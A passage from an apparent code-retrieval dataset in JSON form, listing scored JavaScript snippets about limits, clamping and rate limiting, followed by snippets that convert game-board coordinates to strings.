setup_limits() {\n limit = (getGamesInTimeframe());\n getMSIn1KGames(); // ignore this fow now\n }", "title": "" }, { "docid": "d54995c4b5c983ce303cc4bc02b5adb7", "score": "0.6098273", "text": "function setLoadMax(value) {\n var old;\n if (value > 0) {\n old = internal.loadMax;\n if (old !== value) {\n internal.loadMax = value;\n purge(value);\n self.emit('loadMaxChanged', value, old);\n }\n } else {\n throw new Error('loadMax MUST be a number greater than 0');\n }\n }", "title": "" }, { "docid": "68384887228c970a7a0dade4ffc94afa", "score": "0.6073257", "text": "getLimit() {\n (0, _util.assert)(this.limitSet_, 'Only valid if limit has been set');\n return this.limit_;\n }", "title": "" }, { "docid": "ae4f3c3876e5d70508527e6939f7c346", "score": "0.5923813", "text": "get limit () {\n\t\t\treturn this.config.limit;\n\t\t}", "title": "" }, { "docid": "af4ac8af343b7b9c26c47b167a8fc4b8", "score": "0.5913822", "text": "function setLimit(n) {\n switch (n) {\n case 5:\n justSystem = fiveLimit;\n break;\n case 7:\n justSystem = sevenLimit;\n break;\n case 11:\n justSystem = elevenLimit;\n break;\n case 13:\n justSystem = thirteenLimit;\n break;\n default:\n postError('Tuning not available.\\nValid arguments: 5, 7, 11, 13');\n }\n}", "title": "" }, { "docid": "dfc82cbf30dde7e7b243ae5cee4f80bd", "score": "0.5882599", "text": "setLimit(lowerLimit, upperLimit) {\n this.lowerLimit = lowerLimit;\n this.upperLimit = upperLimit;\n }", "title": "" }, { "docid": "d834a88f0a6471c6e4c53007ccf86ab9", "score": "0.5796323", "text": "function setMaxDownloads() {\n var maxDownloads = parseInt(maxDownloadsRef.current.value)\n const data = {\n fileID: id,\n maxDownloads: maxDownloads\n };\n\n axios.post(\"http://localhost:80/setMaxDownloads\", data).then(res => {\n addToast('Download limit set', { appearance: 'success' });\n\n var newFileProperties = { ...fileProperties, maxDownloads: maxDownloads }\n setFileProperties(newFileProperties);\n }).catch(error => {\n console.error(error.stack);\n addToast('Failed setting download limit', { appearance: 'error' });\n });\n }", "title": "" }, { "docid": "2d7d94b7c7b827d4cf6ad4a57658c46d", "score": "0.5782788", "text": "reset() {\n delete this.max\n }", "title": "" }, { "docid": "5203a005530202c685b116f2e793b677", "score": "0.5771875", "text": "set max(max) {\n this._max = !isNumber(max) || max <= 0 ? 100 : max;\n }", "title": "" }, { "docid": "e9d4edb7cf15dadbdc51ff23bfe28b9a", "score": "0.5733261", "text": "function limit(a) {\n return Math.max(Math.min(a, 100), 0);\n }", "title": "" }, { "docid": "829983df5ab226e8a3c479da265701d5", "score": "0.57232815", "text": "_initLimits( opts ) {\n this._limit_conf = {};\n this._limit_cache_size = opts.limitCacheSize;\n\n if ( opts.enableLimiter ) {\n this._fake_limiter = null;\n\n for ( let k in opts.limitConf ) {\n this.limitConf( k, opts.limitConf[k] );\n }\n\n this.addressLimitMap( opts.addressLimitMap );\n\n if ( this._limit_timer ) {\n // just in case of double invocation\n clearInterval( this._limit_timer );\n }\n\n this._stale_limit = opts.cleanupLimitsMS * 1.5;\n this._limit_timer = setInterval( () => this._cleanupLimits(), opts.cleanupLimitsMS );\n\n this.once( 'close', () => {\n clearInterval( this._limit_timer );\n this._limit_timer = null;\n } );\n } else {\n this._fake_limiter = {\n sync : ( as, a, b ) => {\n as.add( a, b );\n },\n };\n }\n }", "title": "" }, { "docid": "3558b466297c8b6700850442fa99b74b", "score": "0.5716264", "text": "entriesLimit () {\n return parseInt(this.params.entriesLimit) || this.increment;\n }", "title": "" }, { "docid": "e8f45e29d9f7967de47b564bcb61aa4b", "score": "0.5712903", "text": "function setBatchMax(value) {\n if (value > 0) {\n internal.batchMax = value;\n } else {\n throw new Error('batchMax MUST be a number greater than 0');\n }\n }", "title": "" }, { "docid": "ccd8e07557f3f42ad45870f03d9f040d", "score": "0.5705204", "text": "function init_limits(){\n\tdocument.getElementById('hidden_groupe_limitation').value\t\t= hidden_groupe_limitation;\n\tdocument.getElementById('hidden_field_limitation').value\t\t= hidden_field_limitation;\n\t\n\tdocument.getElementById('hidden_groupe_incrementation').value\t= hidden_groupe_incrementation;\n\tdocument.getElementById('hidden_field_incrementation').value\t= hidden_field_incrementation;\n}", "title": "" }, { "docid": "247509fce75db194444118d29bbbc9e5", "score": "0.5687556", "text": "function limit(a) {\r\n return Math.max(Math.min(a, 100), 0);\r\n }", "title": "" }, { "docid": "247509fce75db194444118d29bbbc9e5", "score": "0.5687556", "text": "function limit(a) {\r\n return Math.max(Math.min(a, 100), 0);\r\n }", "title": "" }, { "docid": "f12e2151ba10cf96af39fd8ce8818b42", "score": "0.5680031", "text": "static get dustLimit() {\n return 546;\n }", "title": "" }, { "docid": "dc88113f7abcc739606048a54670687d", "score": "0.56696194", "text": "get limit() {\n return internal(this).limit;\n }", "title": "" }, { "docid": "194ef53fec39deeadf6b3644528b7f69", "score": "0.5665066", "text": "limit() {\n\t\t\tif (this.has_fetched) {\n\t\t\t\tif (this.page == 1) {\n\t\t\t\t\tthis.fetch();\n\t\t\t\t} else {\n\t\t\t\t\tthis.page = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "79dbeca5f60eee81da14efd21a5b9583", "score": "0.56601816", "text": "function applyLimit(limit) {\n if(limit !== 0) {\n var ob = settings.items.itemSectionId,\n oba = limit,\n obj = $('#' + ob + ' div:not(:hidden)'),\n objs = $(obj).length;\n if (objs >= oba) {\n $('#' + ob + ' div:not(:hidden):gt(' + (oba - 1) + ')').hide();\n }\n }\n }", "title": "" }, { "docid": "bec04d8e37bf626602b021cfc7acc7d4", "score": "0.56590927", "text": "function _sendBeforeTooLong()\n {\n if (logsCache.length > 0 && (new Date().getTime() - logsCacheLastTimeWeSent) > logsCacheMaxInterval) {\n _sendToServer(true);\n }\n }", "title": "" }, { "docid": "dbab06d1715c38bb63c2677a5ce81ef5", "score": "0.5652356", "text": "function Limit(requests, interval) {\n this.maxRequests = requests;\n this.availableRequests = requests;\n this.restoreRate = requests/(interval/1000);\n function reset(){\n this.availableRequests +=this.restoreRate;\n if(this.availableRequests > this.maxRequests){\n this.availableRequests = this.maxRequests;\n }\n\n }\n setInterval(reset.bind(this), 1000);\n this.hit = function(n){\n this.availableRequests-=n;\n if(this.availableRequests < 0 ) {\n this.availableRequests = 0;\n }\n };\n}", "title": "" }, { "docid": "ef7274c7273e81ebb0bb3b937a14a4ef", "score": "0.5631372", "text": "function getRetryLimit() {\n return 5;\n}", "title": "" }, { "docid": "227421b6e1f7da65ee09e05ffe8cc098", "score": "0.56313336", "text": "limit(number, offset = 0) {\n\t\tthis.pending.limit = {offset, number}\n\t\treturn this\n\t}", "title": "" }, { "docid": "506f2a81e5267f81f5823f97b8619c58", "score": "0.5620957", "text": "set maxPoolSize(value) {\n assert && assert(value === Number.POSITIVE_INFINITY || Number.isInteger(value) && value >= 0, 'maxPoolSize should be a non-negative integer or infinity');\n maxPoolSize = value;\n }", "title": "" }, { "docid": "cf4437c6ea2d69b30e5c1cd55d1f1469", "score": "0.5609305", "text": "set maxPoolSize(value) {\n assert && assert(value === Number.POSITIVE_INFINITY || Number.isInteger(value) && value >= 0, 'maxPoolSize should be a non-negative integer or infinity');\n this._maxPoolSize = value;\n }", "title": "" }, { "docid": "644e1eb935fe3e0dcd937b1e097bd48f", "score": "0.55979455", "text": "limit (num) {\n valid.checkType(num, 'number', `${this.model.name}.limit(num)`)\n this._limit = num\n\n return this\n }", "title": "" }, { "docid": "1c9b9d1c6a75c7eda4ad9bd4944357d3", "score": "0.5597689", "text": "function limit(a) {\n return Math.max(Math.min(a, 100), 0);\n }", "title": "" }, { "docid": "1c9b9d1c6a75c7eda4ad9bd4944357d3", "score": "0.5597689", "text": "function limit(a) {\n return Math.max(Math.min(a, 100), 0);\n }", "title": "" }, { "docid": "1c9b9d1c6a75c7eda4ad9bd4944357d3", "score": "0.5597689", "text": "function limit(a) {\n return Math.max(Math.min(a, 100), 0);\n }", "title": "" }, { "docid": "1c9b9d1c6a75c7eda4ad9bd4944357d3", "score": "0.5597689", "text": "function limit(a) {\n return Math.max(Math.min(a, 100), 0);\n }", "title": "" }, { "docid": "bb3abd3139458213cec3baac68c3471d", "score": "0.559736", "text": "function setMaxIndex() {\n let MAXINDEX = 0;\n if (localStorage.getItem(MAXINDEX.toString()) === null) {\n localStorage.setItem(\"MAXINDEX\", MAXINDEX.toString());\n }\n}", "title": "" }, { "docid": "dc43fb626aa55769856e090c981b9009", "score": "0.5590744", "text": "function setLimitBitrateByPortal(value) {\n abrController.setLimitBitrateByPortal(value);\n }", "title": "" }, { "docid": "a87ba1b786aa9a8de277d5e447569408", "score": "0.55736697", "text": "function limit(number, min, max, _default){\n\tif(!number)\n\t\tnumber = _default;\n\tif(number<min)\n\t\tnumber = min;\n\tif(number>max)\n\t\tnumber=max;\n\treturn number;\n}", "title": "" }, { "docid": "e55bd92985578221ff8b434010738bf7", "score": "0.556993", "text": "function limit ( a ) {\n\t\treturn Math.max(Math.min(a, 100), 0);\n\t}", "title": "" }, { "docid": "e55bd92985578221ff8b434010738bf7", "score": "0.556993", "text": "function limit ( a ) {\n\t\treturn Math.max(Math.min(a, 100), 0);\n\t}", "title": "" }, { "docid": "e55bd92985578221ff8b434010738bf7", "score": "0.556993", "text": "function limit ( a ) {\n\t\treturn Math.max(Math.min(a, 100), 0);\n\t}", "title": "" }, { "docid": "e55bd92985578221ff8b434010738bf7", "score": "0.556993", "text": "function limit ( a ) {\n\t\treturn Math.max(Math.min(a, 100), 0);\n\t}", "title": "" }, { "docid": "e55bd92985578221ff8b434010738bf7", "score": "0.556993", "text": "function limit ( a ) {\n\t\treturn Math.max(Math.min(a, 100), 0);\n\t}", "title": "" }, { "docid": "e55bd92985578221ff8b434010738bf7", "score": "0.556993", "text": "function limit ( a ) {\n\t\treturn Math.max(Math.min(a, 100), 0);\n\t}", "title": "" }, { "docid": "e55bd92985578221ff8b434010738bf7", "score": "0.556993", "text": "function limit ( a ) {\n\t\treturn Math.max(Math.min(a, 100), 0);\n\t}", "title": "" }, { "docid": "e55bd92985578221ff8b434010738bf7", "score": "0.556993", "text": "function limit ( a ) {\n\t\treturn Math.max(Math.min(a, 100), 0);\n\t}", "title": "" }, { "docid": "be0fe2828da97a19837683b489bd5ce6", "score": "0.5561117", "text": "function RateLimiter() {\n this._limits = {};\n this._limitsData = {};\n}", "title": "" }, { "docid": "aff04aa3a143f29ab16115d77b889e48", "score": "0.55580634", "text": "function limit(num, minNumber) {\n\n // check if value is outside of the limits\n if (!$.isNumeric(num.value) || num.value <= minNumber) {\n num.value = minNumber;\n } else if (num.id === \"override-curr-hp\") {\n if (num.value >= 100) {\n num.value = 100;\n } else if (Math.floor(num.value) !== num.value) {\n num.value = Math.floor(num.value);\n }\n } else if (num.value >= HIGHESTSTAT) {\n num.value = HIGHESTSTAT;\n } else if (Math.floor(num.value) !== num.value) {\n num.value = Math.floor(num.value);\n }\n }", "title": "" }, { "docid": "e941c6ae947ce87aa040b55b2796d1d8", "score": "0.5553001", "text": "function changeLimit(){\n limit = parseInt(document.getElementById(\"inputLimit\").value);\n addActivityItem();\n\n}", "title": "" }, { "docid": "e026bfb1e04fa9012240714c9f235163", "score": "0.55414027", "text": "function setMax(type) {\n let max = Number(document.getElementById('personal-plan-counter').value) + Number(document.getElementById('other-plan-counter').value) + Number(document.getElementById('business-plan-counter').value) ;\n \n if (max == 10 || max > 10) {\n\n document.getElementById('business-plan-counter').max = document.getElementById('business-plan-counter').value;\n document.getElementById('personal-plan-counter').max = document.getElementById('personal-plan-counter').value;\n document.getElementById('other-plan-counter').max = document.getElementById('other-plan-counter').value;\n\n DevExpress.ui.notify('Ha llegado al límite de compañías.');\n }\n else {\n\n if (type == \"BUS\") {\n document.getElementById('business-plan-counter').max = 10;\n document.getElementById('personal-plan-counter').max = 10 - max;\n document.getElementById('other-plan-counter').max = 10 - max;\n }\n else if (type == \"PER\") {\n document.getElementById('personal-plan-counter').max = 10 ;\n document.getElementById('business-plan-counter').max = 10 - max;\n document.getElementById('other-plan-counter').max = 10 - max;\n }\n else {\n document.getElementById('other-plan-counter').max = 10;\n document.getElementById('business-plan-counter').max = 10 - max;\n document.getElementById('personal-plan-counter').max = 10 - max;\n }\n }\n }", "title": "" }, { "docid": "fa60a04364b31df8e79f0602175a3526", "score": "0.5537394", "text": "function down() {\n i -= limit;\n if (i < 0) i = 0;\n }", "title": "" }, { "docid": "31a0f881edc8d0c661cf6f41647aacc5", "score": "0.55364895", "text": "function limitPlayer(count){\n switch (count){\n case 1: limitLength = 5;\n break;\n case 10: limitLength = 10;\n break;\n case 20: limitLength = 15;\n break;\n case 30: limitLength = 20;\n break;\n }\n}", "title": "" }, { "docid": "5f0bb74cb4a7a48a3c9d78d15c54fa44", "score": "0.55308217", "text": "get slimit() {\n return internal(this).slimit;\n }", "title": "" }, { "docid": "c697ceb5bc74ec8439be335867d0d4f0", "score": "0.551921", "text": "function set_limit(get_val){\n if(get_val!=''){\n $(\"#set_limit_val\").val(get_val);\n document.getElementById(\"search_from\").submit();\n\n }\n }", "title": "" }, { "docid": "52c806ebad4cb2fb002f28ea7812217d", "score": "0.55144817", "text": "max (max = DEFAULTS.max) {\n _.max = max\n return api\n }", "title": "" }, { "docid": "0bc495a6ccc839fc178784b026c55b71", "score": "0.54895717", "text": "function limit(a) {\n\t\treturn Math.max(Math.min(a, 100), 0);\n\t}", "title": "" }, { "docid": "5da5fa630869a2ba76af0b460336b47d", "score": "0.54687357", "text": "_clearRateLimit() {\n clearTimeout(this._rateLimit.timeout);\n this._rateLimit.timeout = null;\n this._rateLimit.counter = 0;\n this._rateLimit.checkpoint = false;\n\n // resume all paused connections\n while (this._rateLimit.waiting.length) {\n let cb = this._rateLimit.waiting.shift();\n setImmediate(cb);\n }\n }", "title": "" }, { "docid": "5daec52ce72a66ce5d52fb7265401b51", "score": "0.5463928", "text": "function setLimiter(obj) {\r\n\t\r\n\t// Parametros\r\n\tvar limit = getLimit(obj.attr('class'));\r\n\tvar text = obj.val();\r\n\tvar message = $('#' + obj.attr('id') + 'Limit');\r\n\t\r\n\t// Comprobamos longitud\r\n\tif (text.length > limit) {\r\n\t\ttext = text.substr(0,limit);\r\n\t\tobj.val(text);\r\n\t\tmessage.css('color','#f00');\r\n\t} else {\r\n\t\tmessage.css('color','');\r\n\t}\r\n\t\r\n\t// Actualizamos limites por pantalla\r\n\tmessage.text(' ( ' + text.length + ' / ' + limit + ' caracteres escritos )');\r\n\r\n}", "title": "" }, { "docid": "5b390d84b756964660416e28242f0570", "score": "0.54524714", "text": "function ratedListener (data, flags) {\n if (client.messageCount++ < max) listener(data, flags)\n else client.emit('limited', data, flags)\n }", "title": "" }, { "docid": "14667b541804eae076f9c10a635915a3", "score": "0.54481137", "text": "function MyFancyRateLimiter(options) {\n // Add more default options\n const defaultOptions = {\n statusCode: 429,\n message: 'Too Many Requests!',\n handler: function (req, res, next, message) {\n res.status(options.statusCode).send(message);\n },\n remainMessageRender: function (time) {\n return 'Access able after ' + time + ' milliseconds';\n }\n }\n options = Object.assign(defaultOptions, options);\n\n // Refine input information\n if (options.maxReqsPerSecond >= 1) {\n options.maxRequest = options.maxReqsPerSecond;\n options.timeRange = 1000;\n } else {\n options.maxRequest = 1;\n options.timeRange = 1 / options.maxReqsPerSecond * 1000;\n }\n\n function rateLimit(req, res, next) {\n // Store is saving request timestamp for each id\n const id = options.requestIdentifier(req);\n options.store = options.store || {};\n options.store[id] = options.store[id] || {\n requests: [],\n isCountdown: false,\n };\n\n // Renew clear data when time expired ( avoid Memory leak )\n clearTimeout(options.store[id].cleaner);\n options.store[id].cleaner = setTimeout(function(){\n clearTimeout(options.store[id].cleaner);\n delete options.store[id];\n }, options.timeRange);\n\n // Check if is penalty\n if (options.store[id].isCountdown == true) {\n const now = moment().valueOf();\n const lastReq = moment.unix(options.store[id].requests[0]);\n const countDownDiff = moment.unix(now).diff(lastReq) / 1000;\n if (countDownDiff > options.cooldownTime * 1000) {\n options.store[id].requests = [];\n options.store[id].isCountdown = false;\n clearTimeout(options.store[id].cleaner);\n } else {\n const remainTime = options.cooldownTime * 1000 - countDownDiff;\n return options.handler(req, res, next, options.remainMessageRender(remainTime));\n }\n }\n\n // Add timestamp to request list\n if (options.store[id].requests.length > options.maxRequest) {\n options.store[id].requests.shift();\n }\n options.store[id].requests.push(moment().valueOf());\n\n // Check route being flooded\n const totalRequest = options.store[id].requests.length;\n const first = moment.unix(options.store[id].requests[0]);\n const last = moment.unix(options.store[id].requests[totalRequest - 1]);\n const diff = parseInt(last.diff(first)) / 1000;\n\n if (totalRequest > options.maxRequest && diff < options.timeRange) {\n options.store[id].isCountdown = true;\n return options.handler(req, res, next, options.message);\n }\n\n next();\n }\n return rateLimit;\n}", "title": "" }, { "docid": "03118f92ba439bcf582c0046c33a3cb1", "score": "0.54474884", "text": "fetchMaxSupply() {\n return 20000000000;\n }", "title": "" }, { "docid": "9727134cb77f39f122bc78bbffaf006d", "score": "0.54272705", "text": "function handleLimitSelection(ev) {\n setLimitType(ev.target.id === 'limit1');\n}", "title": "" }, { "docid": "decb90d9fd28540048bcff6cbfc227f0", "score": "0.54219186", "text": "buildLimit () {\n if (this._limit === null) {\n return ''\n }\n return `LIMIT ${this._limit}`\n }", "title": "" }, { "docid": "65c2be115feae649820ef027706f7daa", "score": "0.5420898", "text": "limit(limit) {\n this.query.limit = limit;\n return this;\n }", "title": "" }, { "docid": "0c8779f2d1af7a349a9a133597d98f97", "score": "0.5420349", "text": "function setMaximumAmount(max_amount) {\n max_rent_amount = max_amount;\n //console.log(max_rent_amount);\n}", "title": "" }, { "docid": "6e6bddc9770749f884a52d57dfd28222", "score": "0.5420243", "text": "function handleChangeMax(e){\n setMax({\n ...max,\n [e.target.name] : e.target.value\n })\n setErr({\n ...err,\n [e.target.name] : e.target.value\n })\n }", "title": "" }, { "docid": "0fa6ae6b0a4a028662c2d781e80695e9", "score": "0.54150516", "text": "limitPending() {\n\t\tconst limit = this.pending['limit']\n\t\tconst offset = limit['offset']\n\t\tlet number = limit['number']\n\n\t\tthis.total_count = this.data.length\n\t\tif (number > this.total_count) number = this.total_count\n\n\t\tthis.data = this.data.slice(offset, number)\n\n\t\treturn true\n\t}", "title": "" }, { "docid": "af266d86067eb9fdc76aafcac36663b1", "score": "0.5413363", "text": "function changeTabLimit()\n{\n\tvar tabLimit = document.getElementById('tabLimit');\n\tchrome.storage.sync.set({'tabLimit' : tabLimit.value});\n}", "title": "" }, { "docid": "349ea310a5101014688c2f296e5aec7b", "score": "0.54037887", "text": "_checkLimit(done) {\n this.db.count('users')\n .catch(done).then(count => {\n count = count.count;\n\n debug('checkLimit', count);\n // if under or equal to limit, OK.\n if(count <= this.c.event.limit) return done(false);\n\n // if false, not OK.\n return done('OVER_LIMIT');\n })\n }", "title": "" }, { "docid": "608bae5c9bef6a93548451826b675eba", "score": "0.53992194", "text": "function onSettingsPopupBeforeShow() {\n heartRate.getLimit();\n }", "title": "" }, { "docid": "357097f502d42233704a011f1081db25", "score": "0.5392928", "text": "limit(max, l=2) {\n let norm = this.norm(l);\n if(norm > max)\n this.setNorm(max, l);\n return this;\n }", "title": "" }, { "docid": "e03530edec027af736db030d50813f46", "score": "0.5391571", "text": "function changeLimitTabs()\n{\n\tvar limitTabs = document.getElementById('limitTabs');\n\n\t// When user enables limit tabs\n\tif (limitTabs.checked)\n\t{\n\t\t// Send warning message. If yes, iterate and remove extra tabs from the end\n\t\tif (confirm(\"Tabs might be closed, please save important information\"))\n\t\t{\n\t\t\tchrome.tabs.query({}, function(tabs)\n\t\t\t{\n\t\t\t\tvar tabLimit = document.getElementById('tabLimit').value;\n\t\t\t\tfor (var i = tabs.length - 1; i >= tabLimit; i--)\n\t\t\t\t{\n\t\t\t\t\tchrome.tabs.remove(tabs[i].id);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\t// If no, uncheck limit tabs\n\t\telse\n\t\t{\n\t\t\tdocument.getElementById('limitTabs').checked = false;\n\t\t}\n\t}\n\t\n\t// Update limitTabs field in cloud storage\n\tchrome.storage.sync.set({'limitTabs' : limitTabs.checked});\n}", "title": "" }, { "docid": "ed3de38ca5c0ca1157c35b314d84ef32", "score": "0.5385773", "text": "function docsRevsLimit(doc) {\n return doc.id.startsWith('_local/') ? 1 : revsLimit;\n }", "title": "" }, { "docid": "65ce1ab0aa838bb4b4ef1dceed2579af", "score": "0.53810775", "text": "function initLimitsMain() {\n Countly.init({\n app_key: \"YOUR_APP_KEY\",\n url: \"https://try.count.ly\",\n interval: 10000,\n max_events: -1,\n max_key_length: 8, // set maximum key length here\n max_value_size: 8, // set maximum value length here\n max_segmentation_values: 3, // set maximum segmentation number here\n max_breadcrumb_count: 2, // set maximum number of logs that will be stored before erasing old ones\n max_stack_trace_lines_per_thread: 3, // set maximum number of lines for stack trace\n max_stack_trace_line_length: 10, // set maximum length of a line for stack trace\n });\n}", "title": "" }, { "docid": "20330cb669117e0a8b38d74a17df7b3d", "score": "0.5363478", "text": "function postlistSetLimit20() { postlistSetLimit(20, \"postlistSetLimit20\"); }", "title": "" }, { "docid": "91df140cdd24056cbcaa9e9b150951a1", "score": "0.5359742", "text": "function setRecordLimit(domain, limit) {\n jQuery.ajax({\n type: 'POST',\n url: 'helpers/setRecordLimit.php',\n data: {\n limit: limit,\n domain: domain\n },\n beforeSend: function (x) {\n if (x && x.overrideMimeType) {\n x.overrideMimeType(\"application/j-son;charset=UTF-8\");\n }\n },\n success: function () { },\n error: function (data) {\n alertify.alert(data.responseText);\n }\n });\n }", "title": "" }, { "docid": "c8084db052b385441ecb89afd356cdd8", "score": "0.5346237", "text": "validateSupply() {\n if(this.formData.properties.initialSupply > 9000000000) {\n this.formData.properties.initialSupply = 9000000000;\n this._Alert.maxMosaicSupply();\n }\n }", "title": "" }, { "docid": "ce4b3e1902558872f56a2bf0836a91cd", "score": "0.53348917", "text": "async getWaitlistLimit() {\n if (this.limit === undefined) throw new this.ConnectionError();\n return this.limit;\n }", "title": "" }, { "docid": "e35022a83d1e4d58bbfebc60fc781612", "score": "0.5320502", "text": "_clear() {\n for (let i = 0; i < this.limit; i += 1) {\n clearInterval(this.queueClient[i].interval);\n }\n }", "title": "" }, { "docid": "3334ed75bbe618009733085aaf36a2c6", "score": "0.5304713", "text": "resetDataBaseIfReachedLimit() {\n FileSystem.readFile(this.database.path, (error, data) => {\n const allRecords = JSON.parse(data);\n if(allRecords.length > 900)\n this.initialDatabase();\n });\n }", "title": "" }, { "docid": "82c94d57319b91da483708aa318fb60c", "score": "0.5300444", "text": "get autoCratesMax() {\n return this._autoCratesMax < 0 ? 1000000 : this._autoCratesMax;\n }", "title": "" }, { "docid": "941ebafba4bad249f8fda12794590146", "score": "0.5287688", "text": "function limit(num, minNumber) {\n\t\"use strict\";\n\t// check if value is outside of the limits\n\tif (!$.isNumeric(num.value) || num.value <= minNumber) {\n\t\tnum.value = minNumber;\n\t} else if (num.value >= HIGHESTSTAT) {\n\t\tnum.value = HIGHESTSTAT;\n\t} else if (Math.floor(num.value) !== num.value) {\n\t\tnum.value = Math.floor(num.value);\n\t}\n}", "title": "" }, { "docid": "3476f1fbdd84b3a1f63f4ade7a165d17", "score": "0.52831", "text": "async setIncomingPeerLimit(numPeers) {\n throw new Error(\"Subclass must implement\");\n }", "title": "" }, { "docid": "b198f2342ee8acf3943f665fc232fec9", "score": "0.528117", "text": "function getMaxRequest(settings) {\n return settings.maxRequest || 2;\n}", "title": "" }, { "docid": "37ad6f392c468855ab318d3e6b8813aa", "score": "0.52810115", "text": "function getRandomLimit() {\n return Math.round(Math.random() * (400 - 10) + 10);\n}", "title": "" }, { "docid": "5cad486d008838f2ac7dae946d7c2d5f", "score": "0.5273093", "text": "fetchMaxSupply() {\n return Number('21000000000');\n }", "title": "" }, { "docid": "52fc359d08584bb2c71fe67dd643609a", "score": "0.52634573", "text": "set max(maxNum) {\n this._max = maxNum;\n }", "title": "" }, { "docid": "b0ed636810a0956cef677bc3af0a55bd", "score": "0.52407986", "text": "set maxValue(value) {\n this._maxValue = value;\n this.onValidatorChange();\n }", "title": "" }, { "docid": "122bba2cea7ebe7b65cbd329e2636e88", "score": "0.5230574", "text": "set maxValue(value) {\n this._maxValue = value;\n this._onValidatorChange();\n }", "title": "" } ]
5bc76c5c7854593b09d8af0ef774a94f
gets a String from board coordinates
[ { "docid": "c7be1793c0ca55dfb17450b1c5178ae1", "score": "0.7640916", "text": "function getStringFromCoordinates(row, col){\n\tvar row1 = row + 1;\n\tvar result = String.fromCharCode(col + 65) + row1.toString(); // [0:7] mapped to [\"A\":\"H\"] concatenated to [0:7] mapped to [\"1:8\"]\n\treturn result;\n}", "title": "" } ]
[ { "docid": "25d6e9195d0056a2d59532e28674fb4d", "score": "0.7093809", "text": "function getGameBoardString(gameBoard) {\n\treturn ' 1 2 3 \\n ~~~~~~~~~~~~~\\n1 | ' + gameBoard[0][0] + ' | ' + gameBoard[0][1] + ' | ' + gameBoard[0][2] + ' |\\n ~~~~~~~~~~~~~\\n2 | ' + gameBoard[1][0] + ' | ' + gameBoard[1][1] + ' | ' + gameBoard[1][2] + ' |\\n ~~~~~~~~~~~~~\\n3 | ' + gameBoard[2][0] + ' | ' + gameBoard[2][1] + ' | ' + gameBoard[2][2] + ' |\\n ~~~~~~~~~~~~~\\n';\n}", "title": "" }, { "docid": "3e3d995d096c98a4758c705706d408e9", "score": "0.7040976", "text": "getStringAtCell(cell) {\n // Converting cell coordinates to a hexdecimal color\n let color = this.getIntAtCell(cell)\n // Checking that color exists\n if (color && color !== 0) {\n color = color.toString()\n let word = ''\n // Iterates through each ASCII code and sets it equal to relevant character\n for (let i = 0; i < 3; i++) {\n let char = color.slice(i * 2, (i + 1) * 2)\n word = word + String.fromCharCode(char)\n }\n // Removes null bytes if any, but leaves spaces\n word = word.replace('\\0', '')\n return word\n // If data input is 0, outputs empty string. e.g. no target\n } else {\n return ''\n }\n }", "title": "" }, { "docid": "2d742099bbecd49bcd8bd02aceb93578", "score": "0.6730343", "text": "function boardToString(board){\n let result=\"\";\n let sep =\"|\";//for creating seperator line that looks like |----+----+----|\n let col_info_row =\"|\";\n if (board===null){\n return null;\n }\n //create sep line!\n //and col info_row | A | B | C | D | E | F | G |\n for (let colc=0;colc<board.cols;colc++){\n if (colc===board.cols-1){\n sep+=\"----|\";\n col_info_row+=\" \"+ String.fromCodePoint(65+colc)+\" |\";\n }\n else{\n sep+=\"----+\";\n col_info_row+=\" \"+ String.fromCodePoint(65+colc)+\" |\";\n }\n\n }\n \n for (let r=0; r<board.rows; r++){\n let arow=\"|\" //start a row \n for (let c=0; c<board.cols; c++){\n //add col data to a row \n if ( wcwidth(board.data[rowColToIndex(board,r,c)])==1){\n arow+=\" \"+board.data[rowColToIndex(board,r,c)]+\" |\";\n }\n else if ( wcwidth(board.data[rowColToIndex(board,r,c)])==2){\n arow+=\" \"+board.data[rowColToIndex(board,r,c)]+\" |\";\n }\n else if ( wcwidth(board.data[rowColToIndex(board,r,c)])==3){\n arow+=\" \"+board.data[rowColToIndex(board,r,c)]+\" |\";\n }\n else if (board.data[rowColToIndex(board,r,c)]==null){\n arow+=\" \"+\"|\"; //four spaces \n }\n else{\n arow+=board.data[rowColToIndex(board,r,c)]+\"|\";\n } // a col done\n\n } // a row done\n result+=arow+\"\\n\";\n }\n result+=sep+\"\\n\";\n result+=col_info_row;\n return result;\n}", "title": "" }, { "docid": "33289c621a1ea48f47add2ecbd538a2e", "score": "0.6711435", "text": "tileVertexString(ix) {\n \n //console.log(ix, this.tile[ix]);\n var points = this.tileVertexArray(ix);\n var strOut;\n var str = [];\n var j;\n for (j = 0; j < 4; j++) {\n str[j] = points[j].join(\",\");\n }\n strOut = str.join(\" \");\n return strOut;\n }", "title": "" }, { "docid": "804bb28b7a491b333ae9b72e276e20ec", "score": "0.65527695", "text": "function roverPosition(x,y) {\n\treturn \"[\"+x+\",\"+y+\"]\";\n}", "title": "" }, { "docid": "f3e9933fe110fcfd531b642123325747", "score": "0.6435514", "text": "toString() {\r\n let str = '\\n';\r\n for (let i = 0; i < this.rows; i++) {\r\n for (let j = 0; j < this.cols; j++) {\r\n if (this.grid[i][j] === 0) {\r\n str += ' . ';\r\n } else {\r\n str += ' X ';\r\n }\r\n }\r\n str += \"\\n\";\r\n }\r\n return str;\r\n }", "title": "" }, { "docid": "101509080ad7a58c204b56183bd2d819", "score": "0.6297515", "text": "function getCoordinatesFromString(sq){\n\tvar row = sq.substring(1) - 1;\t\t// map [1:8] to [0:7]\n\tvar col = sq.charCodeAt(0) - 65; \t// map [A:H] to [0:7]\n\tvar result = new Array(2);\n\tresult[0] = row;\n\tresult[1] = col;\n\treturn result;\n}", "title": "" }, { "docid": "6388ab62a43fc5c88a24d5d2604df52b", "score": "0.6287155", "text": "function get_word(){\n var local_word = \"\";\n\n for (var i = 0; i < 15; i++) {\n if(scrabble_board[i]['tile'] == 'no'){\n continue;\n }\n /* square contains a tile, get letter */\n var letter = get_letter(scrabble_board[i]['tile']);\n\n local_word += letter;\n }\n\n return local_word;\n}", "title": "" }, { "docid": "f672fcb4ccaba47ffea6d20ba5e86ad2", "score": "0.6285657", "text": "toString() {\n let fen = '';\n let spaces = 0;\n for (let i = 0; i < 64; i++) {\n if (this.board[i] === null) spaces++;\n else {\n if (spaces > 0) {\n fen += spaces;\n spaces = 0;\n }\n fen += this.board[i];\n }\n if (i % 8 === 7) {\n if (spaces > 0) {\n fen += spaces;\n spaces = 0;\n }\n if (i < 63) fen += '/';\n }\n }\n\n fen += ' ';\n if (this.turn === WHITE) fen += 'w';\n else fen += 'b';\n\n fen += ' ';\n if (!this.wc[0] && !this.wc[1] && !this.bc[0] && 